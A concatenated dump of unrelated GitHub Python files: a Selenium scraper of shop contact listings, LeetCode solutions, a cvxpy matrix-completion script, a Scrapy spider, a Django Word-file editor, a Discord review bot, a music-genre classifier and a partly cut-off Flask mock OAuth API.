{\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36'}\n browser.get(new_url)\n\n\n\nprint(linkslist)\nprint(len(linkslist))\nlists = [[] for _ in range(len(linkslist))]\n\n# リストのurlから情報を取得\n# Chrome WebDriverを初期化\noptions = Options()\noptions.add_argument('--headless') # ヘッドレスモードで実行する\noptions.add_argument('--disable-site-isolation-trials')\nbrowser = webdriver.Chrome(executable_path=driver_path, options=options)\nfor i in range(0, len(linkslist)):\n browser.get(linkslist[i])\n\n # 店名を表示\n names = browser.find_elements(By.CLASS_NAME, \"fn\")\n name = [element.text for element in names]\n name = ', '.join(name)\n if name:\n print(name)\n else:\n print(\"\")\n\n # 電話番号を表示\n phone_numbers = browser.find_elements(By.CLASS_NAME, \"number\")\n phone_number = [element.text for element in phone_numbers]\n phone_number = ', '.join(phone_number)\n if phone_number:\n print(phone_number)\n else:\n print(\"\")\n\n # メールアドレスを表示\n try:\n email = browser.find_element(By.CSS_SELECTOR, 'a[href^=\"mailto:\"]').get_attribute('href').replace('mailto:', '') \n print(email)\n except: \n email = \"\"\n print(email)\n\n # 都道府県を表示\n kens = browser.find_elements(By.CLASS_NAME, \"region\")\n kens = [element.text for element in kens]\n if kens:\n address = kens[0]\n pattern = r'^.+?[都道府県]'\n match = re.match(pattern, address)\n if match:\n ken = match.group()\n else:\n print(\"都道府県名が見つかりませんでした。\")\n print(ken)\n else:\n print(\"\")\n\n # 番地を表示\n if kens:\n kens_str = ''.join(kens)\n address2 = kens_str.replace(ken, '')\n pattern = r'[\\d--]+'\n match = re.search(pattern, address2)\n if match:\n address = match.group()\n else:\n print(\"番地が見つかりませんでした。\")\n else:\n print(\"\")\n\n # 市区町村を表示\n if kens:\n kens_str = ''.join(kens)\n address_str = ''.join(address)\n city = kens_str.replace(ken, '').replace(address, '')\n print(city)\n if address:\n address = '=\"{0}\"'.format(address)\n print(address)\n else:\n address = \"\"\n print(address)\n else:\n print(\"\")\n\n # 建物名を表示\n buildings = browser.find_elements(By.CLASS_NAME, \"locality\")\n building = [element.text for element in buildings]\n building = ', '.join(building)\n if building:\n print(building)\n else:\n print(\"\")\n\n # ページのURLを取得\n try:\n elements = browser.find_elements(\n By.XPATH, '//a[@title=\"オフィシャルページ\"]')[0]\n if elements:\n page_url = elements.get_attribute(\"href\")\n print(page_url)\n else:\n page_url = \"\"\n has_ssl_certificate = \"\"\n print(page_url)\n print(has_ssl_certificate)\n browser.get(page_url)\n parsed_url = urlparse(page_url)\n addrinfo = socket.getaddrinfo(\n parsed_url.netloc, 443, socket.AF_UNSPEC, socket.SOCK_STREAM, 0, socket.AI_PASSIVE)[0]\n ip_address = addrinfo[4][0]\n print(\"IP Address: \", ip_address)\n context = ssl.create_default_context()\n # ssl証明書の判定\n with socket.create_connection((ip_address, 443)) as sock:\n with context.wrap_socket(sock, server_hostname=parsed_url.netloc) as ssock:\n cert = ssock.getpeercert()\n if cert:\n has_ssl_certificate = \"TRUE\"\n print(has_ssl_certificate)\n else:\n has_ssl_certificate = \"FALSE\"\n print(has_ssl_certificate)\n #SSLで保護されていないページ,もしくはhtmlと証明書のIPアドレスが異なる場合には停止 \n except ssl.SSLError:\n has_ssl_certificate = \"FALSE\"\n print(has_ssl_certificate)\n #何も記載がない場合には空白を出力 \n except NoSuchElementException:\n page_url = \"\"\n has_ssl_certificate = \"\"\n print(page_url)\n print(has_ssl_certificate)\n\n \n\n lists[i] = [name, phone_number, email, ken, city,\n address, building, page_url, has_ssl_certificate]\n\n# CSVファイルに書き込む\nwith open('成果物:1-2.csv', mode='w', encoding='cp932', newline='') as f:\n writer = csv.writer(f)\n writer.writerow(['店舗名', '電話番号', 'メールアドレス', '都道府県',\n '市区町村', '番地', '建物名', 'URL', 'SSL'])\n\n for j in range(len(linkslist)):\n writer.writerow(lists[j])\n\n# dataframe形式で表示\ndf = pd.read_csv('成果物:1-2.csv', encoding='cp932', index_col=0)\n\nprint(df)\n\n","repo_name":"kataokayuz0/Final_Anser","sub_path":"python/ex1_web-scraping/ソースコード:1-2.py","file_name":"ソースコード:1-2.py","file_ext":"py","file_size_in_byte":7064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27607762434","text":"# https://leetcode.com/problems/validate-binary-search-tree/\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def isValidBST(self, root: TreeNode) -> bool:\n \n min_ = None\n max_ = None\n\n def helper(root, min_,max_):\n if root==None:\n return True\n elif (max_!=None and root.val>=max_) or (min_!=None and root.val<=min_):\n print(min_,max_)\n return False\n else:\n return helper(root.left,min_, root.val) and helper(root.right, root.val, max_)\n return helper(root, min_, max_)","repo_name":"srishtisrivastava3103/Leetcode-Problems","sub_path":"98_validate_binary_search_tree.py","file_name":"98_validate_binary_search_tree.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"40834484368","text":"import numpy as np\nimport itertools\nfrom cvxpy import *\nimport cvxpy as cp\n\nA = np.loadtxt('A.txt')\nB = np.loadtxt('B.txt')\nks = np.arange(1,5000,500)\n\ndef Mat_Comp(mat,k):\n indices = np.array(list(itertools.product(range(mat.shape[0]),range(mat.shape[1]))))\n N = mat.shape[0]*mat.shape[1]\n missing_ix_num = np.random.choice((np.arange(N)),size = k, replace=False)\n missing_ix = np.array(indices[missing_ix_num])\n known_ix_num = [item for item in range(N) if item not in missing_ix_num]\n known_ix = np.array(indices[known_ix_num])\n known_values = mat[tuple(known_ix.T)]\n to_recover = mat[tuple(missing_ix.T)]\n X = cp.Variable(mat.shape)\n obj = cp.Minimize(cp.norm(X, 'nuc'))\n cons = [ X[tuple(known_ix.T)] == known_values ]\n prob = cp.Problem(obj, cons)\n prob.solve()\n X_star = X.value\n recovered = np.sum(np.isclose(np.abs(X_star[tuple(missing_ix.T)] - to_recover), 0, atol=.01))\n recovered_per = recovered / k\n return recovered_per\n\nvaluesA = [matrix_complete_iter(A,kprime) for kprime in ks]\nvaluesB = [matrix_complete_iter(B,kprime) for kprime in ks]\n\n","repo_name":"estebanavarro/MatrixCompletion","sub_path":"MatrixComp.py","file_name":"MatrixComp.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7775129353","text":"#!/usr/bin/env python\n\nimport argparse\nimport json\nimport matplotlib.pyplot as plt\nimport os\nimport seaborn as sns\n\n\ndef save_evaluation_plot(x, y, metric, filename):\n plt.figure()\n\n sns.set()\n ax = sns.barplot(y=x, x=y)\n\n for n, (label, _y) in enumerate(zip(x, y)):\n ax.annotate(\n '{:.3f}'.format(abs(_y)),\n xy=(_y, n),\n ha='right',\n va='center',\n xytext=(-5, 0),\n textcoords='offset points',\n color='white')\n\n plt.title('Performance on own dataset')\n plt.xlabel(metric)\n plt.savefig(filename)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--prefix', required=True)\n parser.add_argument('--methods', nargs='+', required=True)\n args = parser.parse_args()\n\n metrics = ['mean_abs_error', 'root_mean_sqr_error']\n x = args.methods\n y = {metric: [] for metric in metrics}\n\n for method in args.methods:\n with open(os.path.join(args.prefix + method, 'eval_result.json')) as f:\n result = json.load(f)\n for metric in metrics:\n y[metric].append(result['main/' + metric])\n\n for metric in metrics:\n save_evaluation_plot(\n x, y[metric], metric, 'eval_' + metric + '_own.png')\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"chainer/chainer-chemistry","sub_path":"examples/own_dataset/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":587,"dataset":"github-code","pt":"7"} +{"seq_id":"8316217618","text":"from django.shortcuts import render,redirect\nfrom django.core.files import File\nfrom docx import Document\nfrom docx.shared import Inches\nfrom task.models import FileModel\nfrom Assignment import settings\nimport textract\n# open connection to Word Document\n\ndef index(request):\n if request.method == \"POST\":\n # collect all input values from client\n content = request.POST['content']\n filename = request.POST['filename']\n # created object for Document()\n document = Document()\n content = document.add_paragraph(content)\n file = document.save(filename+'.docx')\n obj = FileModel(word_file=filename+'.docx')\n obj.save()\n return redirect('index')\n all_files = FileModel.objects.all()\n return render(request,'index.html',{'all_files':all_files})\n\ndef edit(request,id):\n data ={}\n if request.method == \"POST\":\n content = request.POST[\"content\"]\n obj=FileModel.objects.get(id=id)\n document = Document()\n content = document.add_paragraph(content)\n file = document.save(str(obj.word_file))\n obj.save()\n return redirect('index')\n obj=FileModel.objects.get(id=id)\n text = textract.process(str(obj.word_file))\n text = text.decode(\"utf-8\")\n return render(request,'edit.html',{\"data\":text,\"id\":id})\n","repo_name":"Navneet777/Wordfile","sub_path":"task/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37897579882","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\nfrom scrapy_charlie_chaplin.items import ScrapyCharlieChaplinItem\n\n\n# spider_with_thumbnail\n# extends scrapy.Spider\n# \n# Given multiple start_urls, 1 default parse() function, \n# and 1 customized parse_item() function\n# The crawler will first use parse() function to process the \n# Item List, then use callback parse_item() function to \n# process the Item Page. \n#\n# parse() is auto invoked by the crawler, and parse_item() \n# is always invoked from inside parse() function. \n# \n# Most important is the use of request.meta, which passes in \n# thumbnail to the request from Item List Page, to the \n# parse_item() function\n#\n# i.e. this code: request.meta['item'] = item\n\nclass SpiderWithThumbnail(scrapy.Spider):\n name = \"spider_with_thumbnail\"\n allowed_domains = [\"archive.org\"]\n start_urls = (\n 'https://archive.org/search.php?query=subject%3A%22Charlie+Chaplin%22&and%5B%5D=mediatype%3A%22movies%22',\n 'https://archive.org/search.php?query=subject%3A%22Charlie+Chaplin%22&and%5B%5D=mediatype%3A%22movies%22&page=2',\n 'https://archive.org/search.php?query=subject%3A%22Charlie+Chaplin%22&and%5B%5D=mediatype%3A%22movies%22&page=3',\n )\n \n # I could also have done it smarter: in parse(), add:\n # yield scrapy.Request(url, callback=self.parse)\n # But I've been too lazy to do so. Thus I put multiple urls in start_urls\n # http://doc.scrapy.org/en/latest/topics/spiders.html#scrapy.spiders.Spider.closed\n \n def parse(self, response):\n results = response.xpath('//div[@class=\"results\"]/div/div[@class=\"C234\"]/div[@class=\"item-ttl C C2\"]/a')\n \n for result in results:\n item = ScrapyCharlieChaplinItem()\n thumbnail = result.xpath('div[@class=\"tile-img\"]/img/@source').extract()\n \n item_link = result.xpath('@href').extract()\n if (item_link and len(item_link) is not 0 and \n thumbnail and len(thumbnail) is not 0):\n request = scrapy.Request('https://archive.org' + item_link[0],\n callback=self.parse_item)\n item['thumbnail'] = thumbnail[0]\n request.meta['item'] = item\n yield request\n\n def parse_item(self, response):\n # get the item from response, passed throw from parse()\n # the thumbnail is contained in this \n item = response.meta['item']\n \n item['title'] = response.xpath('//div[@class=\"relative-row row\"]/div/h1/text()').extract()\n # if title does not exist, return no item\n if (not item['title']):\n return\n else:\n self.logger.info('now crawling item page: %s', response.url)\n\n item['description'] = response.xpath('//div[@class=\"relative-row row\"]/div/div[@id=\"descript\"]/text()').extract()\n if (not item['description']):\n item['description'] = response.xpath('//div[@class=\"relative-row row\"]/div/div[@id=\"descript\"]/p/text()').extract()\n\n item['date'] = response.xpath('//div[@class=\"relative-row row\"]/div/div[@class=\"boxy\"]/div[@class=\"boxy-ttl\"]/text()').extract()\n item['video_url'] = response.xpath('//div[@class=\"relative-row row\"]/div/div[@class=\"boxy quick-down\"]/div[@class=\"format-group\"]/a[@class=\"format-summary download-pill\"]/@href').extract()\n if (not item['video_url']):\n return\n\n return item\n","repo_name":"99nakamoto/roku-app-charlie-chaplin","sub_path":"scrapy_charlie_chaplin/scrapy_charlie_chaplin/spiders/spider_with_thumbnail.py","file_name":"spider_with_thumbnail.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39196691318","text":"import discord\nfrom discord.ext import commands\nimport asyncio\nimport sys\nimport re\nimport inspect\nimport itertools\nimport traceback\nimport sqlite3\nimport os\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport datetime\nfrom .utils import checks\n\nclass Review(commands.Cog):\n \"\"\"Review module\"\"\"\n\n def __init__(self, bot, *args, **kwargs):\n self.bot = bot\n\n @commands.command()\n @checks.has_review_role()\n async def review(self, ctx):\n db = sqlite3.connect('main.db')\n cursor = db.cursor()\n cursor.execute(f\"SELECT user_id, app FROM submits WHERE guild_id = '{ctx.message.guild.id}'\")\n result = cursor.fetchall()\n number = 1\n msg = f'**Please choose an application to review below by number.**\\n\\n'\n\n for result in result:\n user = self.bot.get_user(int(result[0]))\n msg += f'**{number}.** `{user.name}`, Application: `{result[1]}`\\n'\n number += 1\n \n await ctx.send(msg)\n def check(m):\n return m.author == ctx.message.author and m.channel == ctx.message.channel\n num = await self.bot.wait_for('message', check=check)\n cursor.execute(f\"SELECT user_id, app, answers, timestamp, id FROM submits WHERE guild_id = '{ctx.message.guild.id}'\")\n result = cursor.fetchall()\n numm = 0\n for result in result:\n if numm != (int(num.content) - 1):\n numm += 1\n else:\n userr = self.bot.get_user(int(result[0]))\n \n await ctx.send(f\"**Application `{result[1]}` from:** {userr}\\n> Timestamp: {result[3]}\\n\\n{result[2]}\")\n name = result[1]\n idd = result[4]\n break\n confirm = await ctx.send('**What would you like to do with this application.**\\n\\n> ✅ To accept the application\\n> ⏹ To do nothing with it right now\\n> ❌ To deny the application')\n await confirm.add_reaction('✅')\n await confirm.add_reaction('⏹')\n await confirm.add_reaction('❌')\n def check1(reaction, user):\n return user == ctx.message.author and str(reaction.emoji) == '✅' and reaction.message.id == confirm.id or user == ctx.message.author and str(reaction.emoji) == '⏹' and reaction.message.id == confirm.id or user == ctx.message.author and str(reaction.emoji) == '❌' and reaction.message.id == confirm.id\n\n try:\n reaction, user = await self.bot.wait_for('reaction_add', timeout=120.0, check=check1)\n except:\n await ctx.send('**Action Cancelled.**')\n if str(reaction) == '✅':\n await ctx.send('Application accepted')\n cursor.execute(f\"SELECT submit FROM settings WHERE guild_id = '{ctx.message.guild.id}'\")\n result = cursor.fetchone()\n if result is None:\n cursor.execute(f\"DELETE FROM submits WHERE guild_id = '{str(ctx.guild.id)}' and user_id = '{userr.id}' and app = '{name}' and id = '{idd}'\")\n db.commit()\n try:\n await userr.send(f'**Your application for** `{name}` **has been accepted in** `{ctx.guild.name}`')\n except:\n print('Could not send message to user.')\n else:\n chan = ctx.guild.get_channel(int(result[0]))\n try:\n await userr.send(f'**Your application for** `{name}` **has been accepted in** `{ctx.guild.name}`')\n except:\n print('Could not send message to user.')\n await chan.send(f'**{name} Application for:** `{userr} ({user.id})` **Accepted by:** `{ctx.message.author} ({ctx.message.author.id})`')\n cursor.execute(f\"DELETE FROM submits WHERE guild_id = '{str(ctx.guild.id)}' and user_id = '{userr.id}' and app = '{name}' and id = '{idd}'\")\n db.commit()\n elif str(reaction) == '⏹':\n await ctx.send('Application ignored')\n elif str(reaction) == '❌':\n await ctx.send('Application denied')\n cursor.execute(f\"SELECT submit FROM settings WHERE guild_id = '{ctx.message.guild.id}'\")\n result = cursor.fetchone()\n if result is None:\n cursor.execute(f\"DELETE FROM submits WHERE guild_id = '{str(ctx.guild.id)}' and user_id = '{userr.id}' and app = '{name}' and id = '{idd}'\")\n db.commit()\n try:\n await userr.send(f'**Your application for** `{name}` **has been denied in** `{ctx.guild.name}`')\n except:\n print('Could not send message to user.')\n else:\n chan = ctx.guild.get_channel(int(result[0]))\n try:\n await userr.send(f'**Your application for** `{name}` **has been denied in** `{ctx.guild.name}`')\n except:\n print('Could not send message to user.')\n await chan.send(f'**{name} Application for:** `{userr} ({user.id})` **Denied by:** `{ctx.message.author} ({ctx.message.author.id})`')\n cursor.execute(f\"DELETE FROM submits WHERE guild_id = '{str(ctx.guild.id)}' and user_id = '{userr.id}' and app = '{name}' and id = '{idd}'\")\n db.commit()\n cursor.close()\n db.close()\n \n \n\ndef setup(bot):\n bot.add_cog(Review(bot))\n print('Review is loaded')","repo_name":"Jared-Galyan/Discord-Applications-Bot","sub_path":"cogs/review.py","file_name":"review.py","file_ext":"py","file_size_in_byte":5471,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"10693846660","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score, confusion_matrix, ConfusionMatrixDisplay\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.svm import SVC\nfrom sklearn import preprocessing\n\nLABELS = [\"Blues\", \"Classical\", \"Country\", \"Disco\", \"HipHop\", \"Jazz\", \"Metal\", \"Pop\", \"Reggae\", \"Rock\"]\n\ndef getMetrics(y_pred, y_test, modelName, returnRow=False):\n acc = accuracy_score(y_pred, y_test)\n precision = precision_score(y_test, y_pred, average='macro')\n recall = recall_score(y_test, y_pred, average='macro')\n f1 = f1_score(y_test, y_pred, average='macro')\n if returnRow:\n return [modelName, round(acc,4), round(precision,4), round(recall,4), round(f1,4)]\n else:\n print(f\"Model: {modelName}\")\n print(f\"- CA: {round(acc,4)}\")\n print(f\"- Precision: {round(precision,4)}\")\n print(f\"- Recall: {round(recall,4)}\")\n print(f\"- F1: {round(f1,4)}\")\n\ndef vizConfusionMat(y_pred, y_test, currentModel, save=False):\n cm = confusion_matrix(y_test, y_pred)\n disp = ConfusionMatrixDisplay(confusion_matrix=cm, display_labels=LABELS, ) \n disp.plot()\n plt.title(currentModel)\n plt.xticks(rotation = 90)\n plt.tight_layout()\n plt.savefig(f\"./GTZAN/results/{currentModel}.jpg\") if save else plt.show()\n\ndef evalBaseline(y_test):\n y_pred = np.array([0]*y_test.shape[0])\n return y_pred\n\ndef evalKnn(X_train, X_test, y_train, k=5):\n knn = KNeighborsClassifier(n_neighbors=k)\n model = knn.fit(X_train, y_train)\n y_pred = model.predict(X_test)\n return y_pred\n\ndef evalRandomForest(X_train, X_test, y_train, n=100):\n rf = RandomForestClassifier(n_estimators=n, random_state=42)\n model = rf.fit(X_train, y_train)\n y_pred = model.predict(X_test)\n return y_pred\n\ndef evalLogRegression(X_train, X_test, y_train):\n logReg = LogisticRegression(random_state=42)\n model = logReg.fit(X_train, y_train)\n y_pred = model.predict(X_test)\n return y_pred\n\ndef evalSVM(X_train, X_test, y_train, kernel=\"rbf\",c=1):\n svm = SVC(C=c, kernel=kernel, random_state=42)\n model = svm.fit(X_train, y_train)\n y_pred = model.predict(X_test)\n return y_pred\n\ndef evalGB(X_train, X_test, y_train, n=100, rate=1.0):\n xgb = GradientBoostingClassifier(n_estimators=n, learning_rate=rate, random_state=42)\n model = xgb.fit(X_train, y_train)\n y_pred = model.predict(X_test)\n return y_pred\n\ndef evalPerceptron(X_train, X_test, y_train, hLayerSize=30, numIter=200):\n mp = MLPClassifier(hidden_layer_sizes=(hLayerSize), max_iter=numIter, random_state=42)\n model = mp.fit(X_train, y_train)\n y_pred = model.predict(X_test)\n return y_pred\n\nif __name__ == \"__main__\":\n # Load data\n df = pd.read_pickle(\"./GTZAN/rawFeaturesGTZAN.pkl\")\n\n # Split into train and test\n data = df.drop([\"path\", \"class\"], axis=1)\n\n X = data.to_numpy()\n y = df[\"class\"].to_numpy()\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=42, shuffle=True, stratify=y)\n\n gaussScaler = preprocessing.PowerTransformer(method='yeo-johnson', standardize=True).fit(X_train)\n X_train = gaussScaler.transform(X_train)\n X_test = gaussScaler.transform(X_test)\n\n models = [\"baseline\",\"kNN\",\"randomForest\",\"logRegression\",\"SVM\",\"GradientBoosting\",\"MultilayerPerceptron\"]\n results = pd.DataFrame(columns=[\"modelName\",\"acc\",\"precision\",\"recall\",\"f1\"])\n for currentModel in tqdm(models):\n if currentModel == \"baseline\":\n y_pred = evalBaseline(y_test)\n elif currentModel == \"kNN\":\n y_pred = evalKnn(X_train, X_test, y_train, 11)\n elif currentModel == \"randomForest\":\n y_pred = evalRandomForest(X_train, X_test, y_train, 200)\n elif currentModel == \"logRegression\":\n y_pred = evalLogRegression(X_train, X_test, y_train)\n elif currentModel == \"SVM\":\n y_pred = evalSVM(X_train, X_test, y_train, kernel=\"rbf\", c=4.4)\n elif currentModel == \"GradientBoosting\":\n y_pred = evalGB(X_train, X_test, y_train, rate=0.5)\n elif currentModel == \"MultilayerPerceptron\":\n y_pred = evalPerceptron(X_train, X_test, y_train, hLayerSize=30, numIter=200)\n\n vizConfusionMat(y_pred, y_test, currentModel, save=True)\n newRow = getMetrics(y_pred, y_test, currentModel, returnRow=True)\n results.loc[len(results)] = newRow\n\n results.to_csv(\"./GTZAN/results/tabel.csv\", index=False)","repo_name":"klemen1999/MusicGenreClassification","sub_path":"traditionalMethods.py","file_name":"traditionalMethods.py","file_ext":"py","file_size_in_byte":4802,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"69804374942","text":"# 给你两个正整数数组 nums1 和 nums2 ,数组的长度都是 n 。 \n# \n# 数组 nums1 和 nums2 的 绝对差值和 定义为所有 |nums1[i] - nums2[i]|(0 <= i < n)的 总和(下标从 0 开始\n# )。 \n# \n# 你可以选用 nums1 中的 任意一个 元素来替换 nums1 中的 至多 一个元素,以 最小化 绝对差值和。 \n# \n# 在���换数组 nums1 中最多一个元素 之后 ,返回最小绝对差值和。因为答案可能很大,所以需要对 109 + 7 取余 后返回。 \n# \n# |x| 定义为: \n# \n# \n# 如果 x >= 0 ,值为 x ,或者 \n# 如果 x <= 0 ,值为 -x \n# \n# \n# \n# \n# 示例 1: \n# \n# \n# 输入:nums1 = [1,7,5], nums2 = [2,3,5]\n# 输出:3\n# 解释:有两种可能的最优方案:\n# - 将第二个元素替换为第一个元素:[1,7,5] => [1,1,5] ,或者\n# - 将第二个元素替换为第三个元素:[1,7,5] => [1,5,5]\n# 两种方案的绝对差值和都是 |1-2| + (|1-3| 或者 |5-3|) + |5-5| = 3\n# \n# \n# 示例 2: \n# \n# \n# 输入:nums1 = [2,4,6,8,10], nums2 = [2,4,6,8,10]\n# 输出:0\n# 解释:nums1 和 nums2 相等,所以不用替换元素。绝对差值和为 0\n# \n# \n# 示例 3: \n# \n# \n# 输入:nums1 = [1,10,4,4,2,7], nums2 = [9,3,5,1,7,4]\n# 输出:20\n# 解释:将第一个元素替换为第二个元素:[1,10,4,4,2,7] => [10,10,4,4,2,7]\n# 绝对差值和为 |10-9| + |10-3| + |4-5| + |4-1| + |2-7| + |7-4| = 20\n# \n# \n# \n# \n# 提示: \n# \n# \n# n == nums1.length \n# n == nums2.length \n# 1 <= n <= 105 \n# 1 <= nums1[i], nums2[i] <= 105 \n# \n# Related Topics 贪心 数组 二分查找 有序集合 \n# 👍 28 👎 0\n\nfrom bisect import bisect_left\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def minAbsoluteSumDiff(self, nums1: List[int], nums2: List[int]) -> int:\n start = 0\n for i in range(len(nums1)):\n start += abs(nums1[i] - nums2[i]) # 初始绝对差值和\n least = start\n sort1 = sorted(nums1) # 对nums1排序后, 对nums2各元素二分查找, 寻找各自最接近值, 找到做出改变能最小化差值的组合\n for i in range(len(nums1)):\n v1, v2 = nums1[i], nums2[i]\n if v1 - v2 == 0:\n continue\n if sort1[-1] <= v2:\n least = min(start - abs(v1 - v2) + abs(sort1[-1] - v2), least)\n continue\n if sort1[0] >= nums2[i]:\n least = min(start - abs(v1 - v2) + abs(sort1[0] - v2), least)\n continue\n loc = bisect_left(sort1, v2) # 调bisect_left会快很多\n if abs(sort1[loc] - v2) >= abs(sort1[loc - 1] - v2):\n least = min(start - abs(v1 - v2) + abs(sort1[loc - 1] - v2), least)\n else:\n least = min(start - abs(v1 - v2) + abs(sort1[loc] - v2), least)\n return int(least % (1e9 + 7))\n\n# leetcode submit region end(Prohibit modification and deletion)\n\n\nclass Solution:\n def minAbsoluteSumDiff(self, nums1: List[int], nums2: List[int]) -> int:\n start = 0\n length = len(nums1)\n for i in range(length):\n start += abs(nums1[i] - nums2[i])\n least = start\n sort1 = sorted(nums1)\n for i in range(length):\n v1, v2 = nums1[i], nums2[i]\n if v1 - v2 == 0:\n continue\n if sort1[-1] <= v2:\n least = min(start - abs(v1 - v2) + abs(sort1[-1] - v2), least)\n continue\n if sort1[0] >= nums2[i]:\n least = min(start - abs(v1 - v2) + abs(sort1[0] - v2), least)\n continue\n left = 0\n right = length - 1\n loc = (left + right) // 2\n while right >= left:\n if sort1[loc] > v2:\n right = loc - 1\n elif sort1[loc] < v2:\n left = loc + 1\n else:\n least = min(start - abs(v1 - v2), least)\n break\n loc = (left + right) // 2\n\n if abs(sort1[right] - v2) >= abs(v2 - sort1[left]):\n least = min(start - abs(v1 - v2) + abs(sort1[left] - v2), least)\n else:\n least = min(start - abs(v1 - v2) + abs(sort1[right] - v2), least)\n return int(least % (1e9 + 7))\n","repo_name":"xxsddm/Algorithm-Beginner","sub_path":"leetcode/1801-1900/[1818]绝对差值和.py","file_name":"[1818]绝对差值和.py","file_ext":"py","file_size_in_byte":4359,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30332124409","text":"import cv2 as cv\nimport numpy as np\n\n\ndef clamp(pv):\n if pv >255:\n pv = 255\n elif pv < 0 :\n pv = 0\n else:\n return pv\ndef gaussian_noise(image): #对图像加上高斯噪声\n h,w,c = image.shape\n for row in range(h):#十分耗时\n for col in range(w):\n s = np.random.normal(0,20,3)#产生3个随机值,符合正态分布,第一个参数是概率分布的均值,对应分布中心,,第二个是概率分布的标准差,越小越瘦高,第三个是输出的值个数\n b = image[row,col,0] #blue\n g = image[row,col,1] #green\n r = image[row,col,2] #red\n image[row,col,0] = clamp(b+s[0])#为什么像素值是整数的怎么会和float相加呢?\n image[row,col,1] = clamp(g+s[1])\n image[row,col,2] = clamp(r+s[2])\n\n cv.imshow(\"noise image\",image)\n\nsrc = cv.imread(\"1.jpg\")\ncv.namedWindow(\"input image\", cv.WINDOW_AUTOSIZE)\ncv.imshow(\"input image\", src)\ngaussian_noise(src)\nprint(np.random.normal(0,20,3))\n\ncv.waitKey(0)\ncv.destroyAllWindows()\n","repo_name":"907597029/back_up","sub_path":"test13.py","file_name":"test13.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"960770391","text":"import os\nimport random\nfrom functools import wraps\n\nfrom constants.json_schema import json_schema, merchant_schema\nfrom constants.responses import merchants_data\nfrom flask import Flask, abort, jsonify, request\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\nfrom jsonschema import exceptions as jsonschema_exceptions\nfrom jsonschema import validate as jsonschema_validate\n\napp = Flask(__name__)\nGRAND_TYPE = [\"client_credentials\", \"refresh_token\"]\nCLIENT_ID = os.environ.get(\"CLIENT_ID\")\nCLIENT_SECRET = os.environ.get(\"CLIENT_SECRET\")\nTOKEN_VALUES = os.environ.get(\"TOKEN_VALUES\")\nTOKEN_OPTIONS = list(TOKEN_VALUES)\nRICHARD_ID = os.environ.get(\"RICHARD_ID\")\nBEAUTY_ID = os.environ.get(\"BEAUTY_ID\")\nTOKEN_LENGTH = 20\n\nlimiter = Limiter(\n app,\n key_func=get_remote_address,\n default_limits=[\"10000 per day\", \"2000 per hour\"]\n)\n\n\n@app.errorhandler(404)\ndef resource_not_found(e):\n return jsonify(error=str(e)), 404\n\n\n@app.errorhandler(401)\ndef unauthorized(e):\n return jsonify(error=str(e)), 401\n\n\n@app.errorhandler(400)\ndef bad_request(e):\n return jsonify(error=str(e)), 400\n\n\ndef generate_access_token():\n token = \"\"\n for idx in range(TOKEN_LENGTH):\n token += random.choice(TOKEN_OPTIONS)\n return token\n\n\ndef is_valid_token(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n token = request.headers.get('token')\n if not token:\n abort(401, description=\"\")\n try:\n token = token.split(\"Bearer \")[1]\n except IndexError:\n abort(401, description=\"\")\n token_list = list(token)\n for value in token_list:\n if value not in TOKEN_VALUES:\n abort(401, description=\"\")\n if len(token) != TOKEN_LENGTH:\n abort(401, description=\"\")\n return f(*args, **kwargs)\n\n return decorated_function\n\n\n@app.route('/oauth/token', methods=[\"POST\"])\n@limiter.limit(\"1/second\", override_defaults=False)\ndef get_token():\n grant_type = request.args.get('grant_type')\n client_id = request.args.get('client_id')\n client_secret = request.args.get('client_secret')\n expected_grand_type = GRAND_TYPE\n expected_client_id = CLIENT_ID\n expected_client_secret = CLIENT_SECRET\n if not (grant_type and client_id and client_secret):\n abort(401, description=\"\")\n if grant_type in expected_grand_type and client_id == expected_client_id and client_secret == expected_client_secret:\n response_token = {\n \"access_token\": generate_access_token(),\n \"token_type\": \"bearer\",\n \"expires_in\": 2592000,\n \"refresh_token\": generate_access_token(),\n }\n return response_token, 200\n abort(401, description=\"\")\n\n\n@app.route('/api/products', methods=[\"POST\"])\n@is_valid_token\ndef product():\n json_data = 